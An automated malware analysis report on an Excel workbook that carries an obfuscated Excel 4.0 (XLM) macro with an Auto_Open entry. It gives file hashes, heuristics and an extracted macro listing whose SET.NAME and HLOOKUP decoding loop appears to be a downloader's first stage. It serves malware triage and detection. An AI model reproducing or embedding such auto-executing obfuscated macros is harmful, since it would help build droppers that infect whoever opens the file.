Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40682d6097e4a500…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:39:20 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 260f43d3f3ae8929a8d131854e1c6c85 SHA-1: 8e6ad3d7b094756d9bae4fa0968fd7b18b62d8fd SHA-256: 40682d6097e4a500d37731e8ab41b11f61a479d975ff432d22004c619f54f832
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is an Excel 4.0 macro sheet that contains an Auto_Open defined name, which is a critical indicator of malicious intent as it allows for automatic execution of code when the workbook is opened. The presence of dangerous formula APIs further increases the risk. No specific malware family could be identified, but the technique strongly suggests a downloader or initial execution stage.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6513 bytes
SHA-256: c8dd3f3880cb1ee2d0b9709dc153f82e82b4f2f6667fcbe51f4fc6bfb583e683
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mIC
' 0018     26 LABEL : Cell Value, String Constant - AnAdEmpQKfB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E182 
' 0018     24 LABEL : Cell Value, String Constant - bznvtcyhX len=0 
' 0018     20 LABEL : Cell Value, String Constant - dvMZp len=0 
' 0018     20 LABEL : Cell Value, String Constant - Ecogy len=0 
' 0018     22 LABEL : Cell Value, String Constant - eWGPekl len=0 
' 0018     20 LABEL : Cell Value, String Constant - fMBzZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - GPGHG len=0 
' 0018     25 LABEL : Cell Value, String Constant - gtbNpTIiEZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - haDbMbQFdE len=0 
' 0018     26 LABEL : Cell Value, String Constant - KrFWLzmBSdG len=0 
' 0018     22 LABEL : Cell Value, String Constant - nAWkgHQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - NsqsMaYN len=0 
' 0018     22 LABEL : Cell Value, String Constant - OChqptB len=0 
' 0018     23 LABEL : Cell Value, String Constant - OfxKhduW len=0 
' 0018     22 LABEL : Cell Value, String Constant - oxUZWhi len=0 
' 0018     24 LABEL : Cell Value, String Constant - qTdIxHRdO len=0 
' 0018     27 LABEL : Cell Value, String Constant - sGFunSvqKBgW len=0 
' 0018     21 LABEL : Cell Value, String Constant - SieQSG len=0 
' 0018     20 LABEL : Cell Value, String Constant - whtWx len=0 
' 0018     27 LABEL : Cell Value, String Constant - wqNZgrvHsdCE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mIC,R64,"",-169.00000000000000000000
'  mIC,R65,"",-626.00000000000000000000
'  mIC,R66,"",-277.00000000000000000000
'  mIC,R67,"",918.00000000000000000000
'  mIC,R68,"",827.00000000000000000000
'  mIC,R69,"",140.00000000000000000000
'  mIC,E80,"SET.NAME("nAWkgHQ",0+VALUE("0"))",""
'  mIC,E84,"SET.NAME("SieQSG",nAWkgHQ)",""
'  mIC,E86,"SET.NAME("fMBzZ",nAWkgHQ)",""
'  mIC,E90,"SET.NAME("bznvtcyhX",COUNTA(whtWx))",""
'  mIC,E94,"SET.NAME("Ecogy",COUNTA(NsqsMaYN))",""
'  mIC,E98,[],""
'  mIC,E103,"SET.NAME("GPGHG","")",""
'  mIC,E108,"SieQSG",""
'  mIC,E110,"SET.NAME("AnAdEmpQKfB",HLOOKUP("*",whtWx,SieQSG,FALSE))",""
'  mIC,E112,"dvMZp",""
'  mIC,E117,"SET.NAME("oxUZWhi",nAWkgHQ)",""
'  mIC,E122,[],""
'  mIC,E124,"oxUZWhi",""
'  mIC,E128,"eWGPekl",""
'  mIC,E133,"OChqptB",""
'  mIC,E136,"sGFunSvqKBgW",""
'  mIC,E141,"SET.NAME("OfxKhduW",VALUE(HLOOKUP("*",NsqsMaYN,sGFunSvqKBgW,FALSE)))",""
'  mIC,E143,"wqNZgrvHsdCE",""
'  mIC,E148,"GPGHG",""
'  mIC,E152,"fMBzZ",""
'  mIC,E155,NEXT(),""
'  mIC,E160,"haDbMbQFdE",""
'  mIC,E164,[],""
'  mIC,E169,"gtbNpTIiEZ",""
'  mIC,E173,NEXT(),""
'  mIC,E177,RETURN(),""
'  mIC,E210,"SET.NAME("KrFWLzmBSdG",E80)",""
'  mIC,E213,"whtWx",""
'  mIC,E216,"SET.NAME("NsqsMaYN",R62C13)",""
'  mIC,E218,"SET.NAME("gtbNpTIiEZ",227)",""
'  mIC,E223,"SET.NAME("qTdIxHRdO",5)",""
'  mIC,E226,KrFWLzmBSdG(),""
'  mIC,E227,HALT(),""